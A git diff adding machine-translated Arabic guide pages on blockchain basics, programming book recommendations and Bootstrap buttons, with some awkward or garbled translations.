+توافق الآراء هو نهج لصنع القرار. إنها طريقة إبداعية وديناميكية للوصول إلى اتفاق بين جميع أعضاء المجموعة. لا يمكن تنفيذ معاملة على Blockchain إلا إذا وافقت جميع الأطراف على الشبكة بالإجماع. ومع ذلك ، تخضع لتعديلات ليناسب مختلف الظروف.
+
+### مصادر
+
+1.  [دفتر الأستاذ الموزع](https://searchcio.techtarget.com/definition/distributed-ledger)
+2.  [ما هو البذر](http://help.utorrent.com/customer/portal/articles/164656)
+3.  [آلية الإجماع](https://www.seedsforchange.org.uk/consensus)
+4.  [الميزات الرئيسية من Blockchain](https://cryptocurry.com/news/top-4-major-features-blockchain/)
+5.  [تطبيق وميزات Blockchain](https://arxiv.org/pdf/1806.03693.pdf)
\ No newline at end of file
diff --git a/client/src/guide/arabic/blockchain/index.md b/client/src/guide/arabic/blockchain/index.md
new file mode 100644
index 0000000000..5ea785dfbb
--- /dev/null
+++ b/client/src/guide/arabic/blockchain/index.md
@@ -0,0 +1,42 @@
+---
+title: Blockchain
+localeTitle: كتلة سلسلة
+---
+## Blockchain
+
+> "هي قاعدة بيانات لا مركزية تخزن سجلاً بالأصول والمعاملات عبر شبكة نظير إلى نظير. هي في الأساس سجل عام لمن يملك وما الذي يقوم بالمعاملات. المعاملات مضمونة بالتشفير ، وبمرور الوقت ، سجل المعاملات هذا يتم قفلها في كتل من البيانات التي يتم ربطها مشفرة مع بعضها البعض وتأمينها ، مما يخلق سجلاً غير قابل للتغيير وغير قابل للتغيير لجميع المعاملات عبر هذه الشبكة ، ويتم نسخ هذا السجل على كل جهاز كمبيوتر يستخدم الشبكة. "
+> 
+> \- بيتينا اربورغ 1
+
+وغالبا ما يرتبط Blockchain مع Bitcoin وغيرها من cryptocurrencies ، لكنها ليست هي الشيء نفسه. كان Bitcoin هو أول من قام بتطبيق مفهوم Blockchain. يمكن تطبيق بنية blockchain ، وهي قائمة متزايدة من السجلات ، على العديد من المجالات الأخرى مثل الهوية الرقمية وسلسلة التوريد وحتى [الديمقراطية](https://www.democracy.earth/) .
+
+على الرغم من أن blockchain يمكن تطبيقه على مجموعة كبيرة من المشاكل ، إلا أنه ليس الحل لكل شيء. تستخدم هذه التقنية عادة لحل المشكلات التي لا تثق فيها الأجزاء بعضها البعض.
+
+عادةً ما يكون هناك حاجة لطرف ثالث للتحقق من علاقات الثقة. في المثال الأكثر شيوعا ، وهو النظام المصرفي ، هناك حاجة إلى سلطة موثوق بها ، مثل البنك ، إلى المعاملات الوسيطة ، وإدارة الحسابات ، والتحقق من الأرصدة ، والتحقق من صحة التحويلات. ثم يأتي Blockchain في هذه الحالة ليحل محل السلطة التنظيمية. في حالة المعاملات المشفرة ، فإنه يحل محل رقم المصرف ، ويقوم بجميع عمليات التحقق ويضمن الأمان والموثوقية في المعاملات.
+
+لهذا السبب ، يُعرف أيضًا Blockchain باسم **"بروتوكول الثقة"** .
+
+### التاريخ
+
+تم وصف أول عمل على سلسلة من الكتل المشفرة المضمونة في عام 1991 من قبل ستيوارت هابر و دبليو سكوت ستورنيتا. لقد أرادوا تنفيذ نظام لا يمكن التلاعب فيه بطوابع زمنية للوثائق أو رجوعها. في عام 1992 ، ضمت باير وهابر وستورنيتا أشجار Merkle إلى التصميم ، مما أدى إلى تحسين كفاءتها من خلال السماح بجمع عدة وثائق في كتلة واحدة.
+
+تم وضع تصور أول كتلة من قبل شخص (أو مجموعة من الناس) المعروفة باسم ساتوشي ناكاموتو في عام 2008. تم تنفيذه في العام التالي من قبل ناكاموتو كمكون أساسي في بيتكوين عملة التشفير ، حيث يعمل بمثابة دفتر الأستاذ العام لجميع المعاملات على شبكة الاتصال.
+
+في أغسطس 2014 ، بلغ حجم ملف blockcin bitcin ، الذي يحتوي على سجلات لجميع المعاملات التي حدثت على الشبكة ، 20 غيغابايت (غيغابايت). في يناير 2015 ، ارتفع الحجم إلى 30 جيجا بايت تقريبًا ، ومن يناير 2016 إلى يناير 2017 ، نمت كتلة bitcoin من 50 غيغابايت إلى 100 غيغابايت في الحجم. علاوة على ذلك ، قدم ناكاموتو مفهوم إثبات العمل لضمان ثقة أكثر لامركزية في أمن السجلات.
+
+تم استخدام كلمتي الكتل والسلسلة بشكل منفصل في ورقة ساتوشي ناكاموتو الأصلية ، ولكن في النهاية تم تعميمهما ككلمة واحدة ، blockchain ، بحلول عام 2016. ويشير مصطلح blockchain 2.0 إلى التطبيقات الجديدة لقاعدة البيانات المجمعة الموزعة ، التي ظهرت لأول مرة في عام 2014. وصفت مجلة الإيكونوميست تطبيق واحد من هذا الجيل الثاني من الكومبيوتر القابل للبرمجة كما يأتي مع "لغة برمجة تسمح للمستخدمين بكتابة عقود ذكية أكثر تطوراً ، وبالتالي إنشاء فواتير تدفع نفسها عندما تصل شحنة أو تشترك في شهادات ترسل تلقائياً مالكيها لأرباب الأسهم إذا وصلت الأرباح إلى مستوى."
+
+اعتبارًا من عام 2016 ، لا تزال تطبيقات blockchain 2.0 تتطلب وجود أوراكل خارج السلسلة للوصول إلى أي "بيانات خارجية أو أحداث تعتمد على الوقت أو ظروف السوق للتفاعل مع blockchain".
+
+#### مصادر
+
+1.  [بيتينا واربورغ ، "كيف سيحول blockchain الاقتصاد بشكل جذري" ، _TED Talks_ ، 8 ديسمبر 2016](https://youtu.be/RplnSVTzvnU?t=213)
+
+##### معلومات اكثر
+
+*   [WTF هو بلوكتشين؟](https://hackernoon.com/wtf-is-the-blockchain-1da89ba19348)
+*   [Blockchain: الثورة التي لسنا مستعدين لها](https://medium.freecodecamp.org/blockchain-is-our-first-22nd-century-technology-d4ad45fca2ce)
+*   [كيف يتم تغيير blockchain المال والأعمال | دون الحنفية (فيديو يوتيوب)](https://www.youtube.com/watch?v=Pl8OlkkwRpc)
+*   [مقدمة لبيتكوين و Ethereum والعقود الذكية](https://github.com/WizardOfAus/WizardsEthereumWorkshop)
+*   [أوراق أكاديمية Blockchain](https://github.com/decrypto-org/blockchain-papers)
+*   [الموارد Blockchain](https://github.com/BlockchainDevs/CryptocurrencyAwesome/blob/master/README.md)
\ No newline at end of file
diff --git a/client/src/guide/arabic/blockchain/smart-contracts/index.md b/client/src/guide/arabic/blockchain/smart-contracts/index.md
new file mode 100644
index 0000000000..6fff1a1382
--- /dev/null
+++ b/client/src/guide/arabic/blockchain/smart-contracts/index.md
@@ -0,0 +1,8 @@
+title: Smart Contracts
+localeTitle: undefined
+---
+## العقود الذكية
+
+المعاملات في blockchain هي عقد أساسي جدا - طرف واحد يرسل الموارد إلى أخرى. في المعاملات blockchain Etherium يمكن أن تدعم أي نوع من المنطق. لديهم معبرة قوة جهاز Turing-Complete - بمعنى أنها يمكن أن تكون خطوات لمهمة يمكن للكمبيوتر القيام بها.
+
+وكجزء من الكود الذي يوضع على blockchain ، يمكن للعقد الذكي أتمتة المهام. عندما يتلقى الحساب أموالاً ، يمكنه توزيعه تلقائيًا على الآخرين. وهذا شفاف تمامًا بحيث يمكن لجميع العقد (عمال المناجم) معرفة المنطق الذي يتم تنفيذه.
\ No newline at end of file
diff --git a/client/src/guide/arabic/blockchain/types/index.md b/client/src/guide/arabic/blockchain/types/index.md
new file mode 100644
index 0000000000..57fddc0ce5
--- /dev/null
+++ b/client/src/guide/arabic/blockchain/types/index.md
@@ -0,0 +1,45 @@
+---
+  title : Types of Blockchain
+localeTitle: أنواع blockchain
+---
+![Blockchain](https://github.com/Vagisha16/Hw3/blob/master/blockchain-what-and-why-19-638.jpg?raw=true)
+
+## أنواع blockchain
+
+اعتبارا من الآن ، هناك ثلاثة أنواع من Blockchains التي ظهرت. هذه هي تصنيفات واسعة على أساس طريقة استخدام التكنولوجيا ومعالجتها.
+
+1.  بلوكتشين خاص
+2.  Blockchain العامة
+3.  المكوك الفدرالي (الهجين)
+
+#### 1\. Blockchain خاص
+
+Blockchain Technology مملوكة لجهة خاصة أو مؤسسة. إنه هيكل لامركزي ولكن بعض الصلاحيات لاتخاذ القرارات تكون في يد الشخص المسؤول.
+
+الشخص المسؤول هو المسؤول عن إعطاء الوصول والأذونات الانتقائية مثل القراءة / الكتابة.
+
+مثال: Bankchain ، Hyperledger
+
+#### 2\. Blockchain العامة
+
+في هذا العمارة ، لا أحد هو المسؤول. يمكن لأي شخص والجميع المشاركة في القراءة والكتابة والتدقيق في blockchain.
+
+تعد Blockchain العامة مفتوحة وشفافة ، وبالتالي فهي مفتوحة للمراجعة من قبل أي شخص يرغب في القيام بذلك ، في أي وقت من الأوقات.
+
+مثال: Bitcoin ، Litecoin
+
+#### 3\. Blockrain الفدرالية
+
+في هذا النوع من blockchain يتم حل مشكلة blockchain الخاص. تتم معالجة مسألة الاستقلالية الذاتية من خلال الاستيلاء على السلطة في يد فرد من خلال جعل أكثر من شخص واحد المسؤول.
+
+تجمع مجموعة من الناس لتشكيل اتحاد أو اتحاد. الذي بدوره يعمل معا من أجل الصالح العام.
+
+مثال: [مؤسسة طاقة الويب](http://energyweb.org/)
+
+هناك فئة أخرى للتصنيف ، تعتمد على الإذعان الممنوح لشبكة blockchain. وتصنف على أنها -
+
+1.  كتلة Blockchain العامة
+2.  كتلة Blockchain الخاصة
+3.  Blockchain Permission
+
+هذه المقالة ليست عملًا أصليًا ومستوحاة من [هنا](https://coinsutra.com/different-types-blockchains/) [وهنا](https://data-flair.training/blogs/types-of-blockchain/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/book-recommendations/algorithms-in-js-books/index.md b/client/src/guide/arabic/book-recommendations/algorithms-in-js-books/index.md
new file mode 100644
index 0000000000..bef95200cb
--- /dev/null
+++ b/client/src/guide/arabic/book-recommendations/algorithms-in-js-books/index.md
@@ -0,0 +1,23 @@
+---
+title: Algorithms in JavaScript books
+localeTitle: الخوارزميات في كتب JavaScript
+---
### قائمة الكتب
+
+_هياكل البيانات في JavaScript_
+
+*   كتاب مجاني يغطي هياكل البيانات في جافا سكريبت
+*   [GitBook](https://www.gitbook.com/book/pmary/data-structure-in-javascript/details)
+
+_تعلم هياكل وخوارزميات جافا سكريبت - الطبعة الثانية_
+
+*   يغطي البرمجة الموجهة للكائنات ، وراثة النماذج ، وفرز الخوارزميات والبحث ، و Quicksort ، و mergesort ، وأشجار البحث الثنائية ، ومفاهيم الخوارزمية المتقدمة.
+*   [الأمازون](https://www.amazon.com/Learning-JavaScript-Data-Structures-Algorithms/dp/1785285491)
+*   ISBN-13: 978-1785285493
+
+_هياكل البيانات والخوارزميات مع JavaScript: إدخال أساليب الحوسبة الكلاسيكية على الويب_
+
+*   يغطي العودية ، الفرز والبحث الخوارزميات ، والقوائم المرتبطة وأشجار البحث الثنائي.
+*   [الأمازون](https://www.amazon.com/Data-Structures-Algorithms-JavaScript-approaches/dp/1449364934)
+*   ISBN-13: 978-1449364939
+
+لا تتردد في إضافة المزيد التي وجدتها مفيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/book-recommendations/haskell/index.md b/client/src/guide/arabic/book-recommendations/haskell/index.md
new file mode 100644
index 0000000000..6cedf83985
--- /dev/null
+++ b/client/src/guide/arabic/book-recommendations/haskell/index.md
@@ -0,0 +1,13 @@
+---
+title: Books on Haskell
+localeTitle: كتب على هاسكل
+---
+\### قائمة الكتب
+
+_Learn You a Haskell for Great Good_ هو واحد من أفضل الكتب لغوص المبتدئين في عالم Haskell. الكامل مع الرسوم التوضيحية.
+
+ونعم ، الكتاب الإلكتروني مجاني!
+
+*   [موقع الكتروني](http://learnyouahaskell.com/)
+*   [لا النشا الصحافة](https://nostarch.com/lyah.htm)
+*   [الكتاب الإلكتروني](http://learnyouahaskell.com/chapters) (مجاني)
\ No newline at end of file
diff --git a/client/src/guide/arabic/book-recommendations/index.md b/client/src/guide/arabic/book-recommendations/index.md
new file mode 100644
index 0000000000..ab52ded934
--- /dev/null
+++ b/client/src/guide/arabic/book-recommendations/index.md
@@ -0,0 +1,257 @@
+---
+title: Books to Read for Programmers
+localeTitle: كتب للقراءة للمبرمجين
+---
+### قائمة الكتب
+
+## جنرال لواء
+
+_أتمتة الأشياء_ المملّة _مع بايثون_ للصويغارت
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13: 978-1593275990
+
+_هيكل وتفسير برامج الكمبيوتر من_ قبل هارولد Abelson ، جيرالد جاي سوسمان ، وجولي سوسمان
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13: 978-0262510875
+
+_التعليمات البرمجية النظيفة: دليل كرافستمانشيب رشيق_ بواسطة روبرت سي مارتن
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Clean-Code-Handbook-Software-Craftsmanship/dp/0132350882?sa-no-redirect=1)
+*   ISBN-13: 978-0132350884
+
+_CODE: اللغة المخفية لأجهزة الكمبيوتر والبرمجيات_ بواسطة Charles Petzold
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319/ref=sr_1_1?s=books&ie=UTF8&qid=1508780869&sr=1-1&keywords=code)
+*   ISBN-13: 978-0735611313
+
+_لا تجعلني أفكر ، إعادة النظر في: نهج الحكمة المشتركة لاستخدامية الويب من قبل ستيف كروغ_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Dont-Make-Think-Revisited-Usability/dp/0321965515/ref=sr_1_1?ie=UTF8&qid=1538370339&sr=8-1&keywords=dont+make+me+think)
+*   ISBN-13: 978-0321965516
+
+_برمجة اللؤلؤ (الطبعة الثانية) من قبل جون بنتلي_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Programming-Pearls-2nd-Jon-Bentley/dp/0201657880)
+*   ISBN-13: 978-0201657883
+
+_هيكل وتفسير برامج الكمبيوتر_
+
+*   https://mitpress.mit.edu/sicp/
+*   ISBN-13: 978-0262510875
+
+_المبرمج العملي: من Journeyman إلى Master_ by Andrew Hunt و David Thomas
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Pragmatic-Programmer-Journeyman-Master/dp/020161622X?sa-no-redirect=1)
+*   ISBN-13: 978-0201616224
+
+_The Self-Taught Programmer: The_ Finalitive _Guide to Programming Professionally_ by Cory Althoff
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Self-Taught-Programmer-Definitive-Programming-Professionally-ebook/dp/B01M01YDQA?sa-no-redirect=1)
+*   ISBN-13: 978-1520288178
+
+_أنت لا تعرف شبيبة (سلسلة الكتب) من_ قبل كايل سيمبسون
+
+*   https://github.com/getify/You-Dont-Know-JS
+*   ISBN-13: 9781491924464
+
+_المهارات الشخصية: دليل حياة مطور البرامج_ - جون سونميز
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13: 9781617292392
+
+## خوارزميات
+
+_مقدمة إلى الخوارزميات ، الطبعة الثالثة (مطبعة معهد ماساتشوستس للتكنولوجيا) من_ قبل توماس H. كورمين وتشارلز E. Leiserson
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Introduction-Algorithms-3rd-MIT-Press/dp/0262033844/)
+*   ISBN-13: 978-0262033848
+
+_Cracking the Coding Interview: 150 Programming Questions and Solutions_ by Gayle Laakmann McDowell
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13: 978-0984782802
+
+## C لانغ
+
+_لغة برمجة C_ بواسطة Brian W. Kernighan و Dennis M. Ritchie
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Programming-Language-2nd-Brian-Kernighan/dp/0131103628/)
+*   ISBN-13: 978-0131103628
+
+_كتاب على C: البرمجة في C_
+
+*   [الأمازون](https://www.amazon.com/Book-Programming-4th-Al-Kelley/dp/0201183994/ref=cm_cr_arp_d_bdcrb_top?ie=UTF8)
+*   ISBN-13: 978-0201183993
+
+## مقابلة الترميز
+
+_تكسير مقابلة الترميز: 150 حلول الأسئلة والحلول_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Cracking-Coding-Interview-Programming-Questions/dp/098478280X)
+*   ISBN-13: 978-0984782802
+
+_مقابلات البرمجة مكشوف: أسرار الهبوط وظيفتك القادمة ، الطبعة الثانية_
+
+*   [وايلي](https://www.wiley.com/en-id/Programming+Interviews+Exposed:+Secrets+to+Landing+Your+Next+Job,+2nd+Edition-p-9780470121672)
+*   ISBN: 978-0-470-12167-2
+
+## جافا
+
+_رئيس جاوة الأولى_ التي كتبها كاثي سييرا وبيرت بيتس
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Head-First-Java-Kathy-Sierra/dp/0596009208)
+*   ISBN-13: 978-0596009205
+
+_جافا فعالة من قبل جوشوا بلوخ_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Effective-Java-3rd-Joshua-Bloch/dp/0134685997)
+*   ISBN-13: 978-0134685991
+
+## جافا سكريبت
+
+_أنت لا تعرف شبيبة (سلسلة كتاب)_
+
+*   https://github.com/getify/You-Dont-Know-JS
+*   ISBN-13: 9781491924464
+
+_جافا سكريبت بلاغة: مقدمة حديثة للبرمجة من قبل ماريجن هافرك_
+
+*   [اقرأها على الإنترنت هنا](https://eloquentjavascript.net)
+*   [الأمازون ابتسامة](https://smile.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5) -ISBN-13: 978-1593275846
+
+_JavaScript: الأجزاء الجيدة_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+*   ISBN-13: 978-0596517748
+
+_JavaScript و JQuery: Interactive Web-End Web Development_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/JavaScript-JQuery-Interactive-Front-End-Development/dp/1118531647/?pldnSite=1)
+*   ISBN-13: 978-1118531648
+
+## الثعبان
+
+_أتمتة أشياء مملة مع بايثون_
+
+*   http://automatetheboringstuff.com/
+*   ISBN-13: 978-1593275990
+
+_برمجة تطبيقات Python الأساسية (الإصدار الثالث) بواسطة Wesley J Chun_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Core-Python-Applications-Programming-3rd/dp/0132678209)
+*   ISBN-13: 978-0132678209
+
+## المهارات الناعمة
+
+_المهارات الأساسية: دليل حياة مطور البرامج_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Soft-Skills-software-developers-manual/dp/1617292397?pldnSite=1)
+*   ISBN-13: 9781617292392
+
+## آخر
+
+\* القرصنة: في نهاية المطاف القرصنة دليل: القرصنة للمبتدئين ومتصفح Tor
+
+*   https://www.amazon.in/dp/B075CX7T6G/ref=cm _sw_ r _cp_ awdb _t1_ -7ESBbZ43CCBM
+*   (ISBN 1976112524).
+
+\* الرمز: اللغة المخفية لأجهزة وبرامج الكمبيوتر (أفضل ممارسات مطوري البرامج) \*
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Code-Language-Computer-Hardware-Software/dp/0735611319)
+*   ISBN-13: 978-0735611313
+
+_هياكل البيانات والخوارزميات سهلة_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Data-Structures-Algorithms-Made-Easy/dp/819324527X)
+*   ISBN-13: 978-8193245279
+
+_فكر بايثون: كيف تفكر كعالم كمبيوتر_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Think-Python-Like-Computer-Scientist/dp/1491939362)
+*   ISBN-13: 978-1491939369
+
+_دورة Python Crash Course: مقدمة عملية ، مقدمة للمشروع في البرمجة_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Python-Crash-Course-Hands-Project-Based/dp/1593276036)
+*   ISBN-13: 978-1593276034
+
+_علوم الكمبيوتر المقطر: تعلم فن حل المشاكل computaitonal Wladston فيريرا فيلهو_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Computer-Science-Distilled-Computational-Problems/dp/0997316020)
+*   ISBN-13: 978-0-9773160-2-5
+
+_خوارزميات مقفلة بواسطة توماس كورمن_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Algorithms-Unlocked-Press-Thomas-Cormen/dp/0262518805)
+*   ISBN-13: 978-0262518802
+
+_Violent Python: A Cookbook for Hackers، Forensic Analysts، Penetration Testers and Security Engineers_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579/ref=sr_1_2?ie=UTF8&qid=1538665634&sr=8-2&keywords=violent+python)
+*   ISBN-13: 978-1597499576
+
+_كتيب Shellcoder: اكتشاف واستغلال الثغرات الأمنية_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Shellcoders-Handbook-Discovering-Exploiting-Security/dp/047008023X/ref=sr_1_1?ie=UTF8&qid=1538665772&sr=8-1&keywords=shellcoders+handbook+3rd+edition&dpID=41xfa6zpuPL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-0470080238
+
+_Head First C: A Brain-Friendly Guide_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Head-First-C-Brain-Friendly-Guide/dp/1449399916/ref=sr_1_2?ie=UTF8&qid=1538665818&sr=8-2&keywords=head+first+c&dpID=51StqzL2dWL&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-1449399917
+
+_تصميم عملي وجوه المنحى في روبي_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Practical-Object-Oriented-Design-Ruby-Addison-Wesley/dp/0321721330)
+*   ISBN-13: 978-0321721334
+
+_التفكير في C ++ بواسطة بروس إيكيل_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Thinking-C-Bruce-Eckel/dp/0139177094)
+*   ISBN-13: 978-0139177095
+
+_مفاهيم نظام التشغيل_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Operating-System-Concepts-Abraham-Silberschatz/dp/1118063333/ref=sr_1_1?s=books&ie=UTF8&qid=1538967825&sr=1-1&keywords=operating+system+concepts+10th+edition&dpID=51Qy2upM%252BaL&preST=_SY291_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-1118063330
+
+_شبكات الكمبيوتر: من أعلى إلى أسفل النهج (الطبعة 7) من قبل Kurose وروس_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Computer-Networking-Top-Down-Approach-7th/dp/0133594149/ref=sr_1_1?s=books&ie=UTF8&qid=1538967896&sr=1-1&keywords=kurose+and+ross&dpID=51xp1%252BoDRML&preST=_SX218_BO1,204,203,200_QL40_&dpSrc=srch)
+*   ISBN-13: 978-0133594140
+
+_البرمجة التنافسية 3: الحد الأدنى الجديد من مسابقات البرمجة_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Competitive-Programming-3rd-Steven-Halim/dp/B00FG8MNN8)
+*   ISBN-13: 978-5800083125
+
+_البرمجة الديناميكية لمقابلات الترميز: نهج من أسفل إلى أعلى لحل المشكلات_
+
+*   [الأمازون ابتسامة](https://smile.amazon.in/Dynamic-Programming-Coding-Interviews-Bottom-Up-ebook/dp/B06XZ61CMP)
+*   ISBN-13: 978-1946556691
+
+_بوابة 2019 علوم الحاسب وتقنية المعلومات_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/GATE-Computer-Science-Information-Technology/dp/194658178X)
+*   ISBN-13: 978-1946581785
+
+_فن برمجة الكمبيوتر دونالد E. كنوث_
+
+*   https://www-cs-faculty.stanford.edu/~knuth/taocp.html
+*   ISBN-13: 978-0321751041
+
+_حقائق ومغالطات هندسة البرمجيات_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Facts-Fallacies-Software-Engineering-Robert/dp/0321117425/)
+*   ISBN-13: 978-0321117427
+
+The Mythical Man-Month: Essays on Software Engineering
+
+*   [الأمازون ابتسامة](https://www.amazon.com/Mythical-Man-Month-Software-Engineering-Anniversary/dp/0201835959)
+*   ISBN-13: 978-0201835953
+
+تم تصنيف هذه القائمة من سلاسل رسائل مقترحة متعددة على Reddit و Stackoverflow.
+
+لا تتردد في إضافة المزيد التي وجدتها مفيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/book-recommendations/javascript/index.md b/client/src/guide/arabic/book-recommendations/javascript/index.md
new file mode 100644
index 0000000000..dbc380091c
--- /dev/null
+++ b/client/src/guide/arabic/book-recommendations/javascript/index.md
@@ -0,0 +1,28 @@
+---
+title: Books on JavaScript
+localeTitle: كتب على جافا سكريبت
+---
+\### قائمة الكتب
+
+_جافا سكريبت بلاغة_
+
+واحد من أفضل الكتب على JavaScript. يجب أن يكون لكل من المبتدئين والمبرمجين المتوسطين ، الذين يبرزون في JavaScript. أفضل جزء هو أن الكتاب الإلكتروني متاح مجانا.
+
+*   [الكتاب الإلكتروني](https://eloquentjavascript.net/) (مجاني)
+*   [الأمازون](https://www.amazon.com/gp/product/1593275846/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1593275846&linkCode=as2&tag=marijhaver-20&linkId=VPXXXSRYC5COG5R5)
+
+_أنت لا تعرف شبيبة_
+
+ستة سلسلة كتاب من قبل كايل سيمبسون. سلسلة متعمقة حول كل جوانب جافا سكريبت.
+
+*   [جيثب](https://github.com/getify/You-Dont-Know-JS) (مجاني)
+*   [نسخة كيندل ، الأمازون](https://www.amazon.com/You-Dont-Know-Js-Book/dp/B01AY9P0P6)
+
+_JavaScript: الأجزاء الجيدة_ كتاب من "جد" من جافا سكريبت ، دوغلاس كروكفورد. يناقش كلا من الأجزاء "الجيدة" و "السيئة" من جافا سكريبت.
+
+*   [الأمازون](https://www.amazon.com/JavaScript-Good-Parts-Douglas-Crockford/dp/0596517742)
+
+_JavaScript: معلومات_ مجموعة من المقالات التي تغطي الأساسيات (اللغة الأساسية والعمل مع متصفح) وكذلك الموضوعات المتقدمة مع شروحات موجزة. متاح ككتاب إلكتروني بأجر وأيضا كبرنامج تعليمي عبر الإنترنت.
+
+*   [عبر الانترنت](https://javascript.info/)
+*   [الكتاب الاليكتروني](https://javascript.info/ebook)
\ No newline at end of file
diff --git a/client/src/guide/arabic/book-recommendations/python/index.md b/client/src/guide/arabic/book-recommendations/python/index.md
new file mode 100644
index 0000000000..bbbc24ff32
--- /dev/null
+++ b/client/src/guide/arabic/book-recommendations/python/index.md
@@ -0,0 +1,44 @@
+---
+title: Books on Python Programming Language
+localeTitle: كتب على لغة البرمجة بايثون
+---
+\### قائمة الكتب
+
+_اعتقد بيثون 2e_
+
+*   مجاني (الكتاب الإلكتروني) الذي يغطي أساسيات بايثون. إنه مبتدئ ودود وضروري للأشخاص الذين هم جدد على البرمجة!
+*   [الأمازون](https://www.amazon.com/gp/product/1491939362/ref=as_li_qf_sp_asin_il_tl?ie=UTF8&camp=1789&creative=9325&creativeASIN=1491939362&linkCode=as2&tag=greenteapre01-20&linkId=XCU5FNNNMXRHDD7X)
+*   ISBN-13: 978-1491939369
+*   [موقع الكتروني](http://greenteapress.com/wp/think-python-2e/)
+*   [الكتاب الإلكتروني](http://greenteapress.com/thinkpython2/html/index.html) (مجاني)
+
+_تعلم بايثون 3 الطريق الصعب_
+
+*   مدفوعة (كتاب إلكتروني مجاني افايابلي) التي تغطي أساسيات الثعبان. تم تصميمه ليبدأ مع لغة python ويصبح على دراية ببنيته وأسلوب عمله في الوقت الذي أكمل فيه الكتاب.
+    
+*   [الأمازون](https://www.amazon.com/Learn-Python-Hard-Way-Introduction/dp/0134692888)
+    
+*   ISBN-13: 978-0134692883
+    
+*   ردمك -10: 0134692888
+    
+*   [موقع الويب](https://learnpythonthehardway.org/) (اشترِ من منشئ المحتوى | دروس فيديو)
+    
+*   [الكتاب الإلكتروني](https://learnpythonthehardway.org/python3/) (مجاني)
+    
+*   [برمجة وظيفية في بايثون بقلم ديفيد ميرتز \[أوريلي\] \[مجاني\]](https://www.oreilly.com/programming/free/files/functional-programming-python.pdf)
+    
+*   [بايثون في التعليم بقلم نيكولاس هـ. تولرفي \[أوريلي\] \[مجاني\]](https://www.oreilly.com/programming/free/files/python-in-education.pdf)
+    
+*   [كيف تفكر كعالم كمبيوتر من قبل ألين داوني \[V 2.0.17\] \[FREE\]](http://greenteapress.com/thinkpython/thinkpython.pdf)
+    
+*   [بايت بايثون \[مجاني\]](https://python.swaroopch.com)
+    
+
+_Black Hat Python: Python Programming for Hackers and Pentesters_
+
+*   [الأمازون ابتسامة](https://smile.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900/)
+    
+*   ردمك -10: 1593275900
+    
+    لا تتردد في إضافة المزيد التي وجدتها مفيدة!
\ No newline at end of file
diff --git a/client/src/guide/arabic/bootstrap/buttons/index.md b/client/src/guide/arabic/bootstrap/buttons/index.md
new file mode 100644
index 0000000000..86ef00d244
--- /dev/null
+++ b/client/src/guide/arabic/bootstrap/buttons/index.md
@@ -0,0 +1,97 @@
+---
+title: Buttons
+localeTitle: وصفت
+---
+## وصفت
+
+يوفر لك إطار Bootstrap خيارات متعددة لتصميم الأزرار. تساعدك هذه الأنماط على توفير تمثيل مرئي للمستخدم لما قد يفعله الزر.
+
+#### كيف تستعمل:
+
+لاستخدام أزرار bootstrap ، اتبع الخطوات نفسها التي تريد إنشاء زر لها في HTML ، إلا أنك تقوم أيضًا بتطبيق فئة CSS المناسبة على الزر. تم توفير مثال على التعليمات البرمجية أدناه.
+
+**مثال الكود:**
+
+`<button type="button" class="btn btn-primary">Primary</button>`
+
+ابتدائي
+
+يمكنك أيضًا استخدام أزرار bootstrap مع عناصر `<a>` و `<input>` كما هو موضح في الأمثلة أدناه.
+
+`<a class="btn btn-primary" href="#" role="button">This button is a link</a>`
+
+[هذا الزر هو رابط](#)
+
+`<input class="btn btn-primary" type="submit" value="Submit">`
+
+#### Bootstrap زر قائمة الطبقة:
+
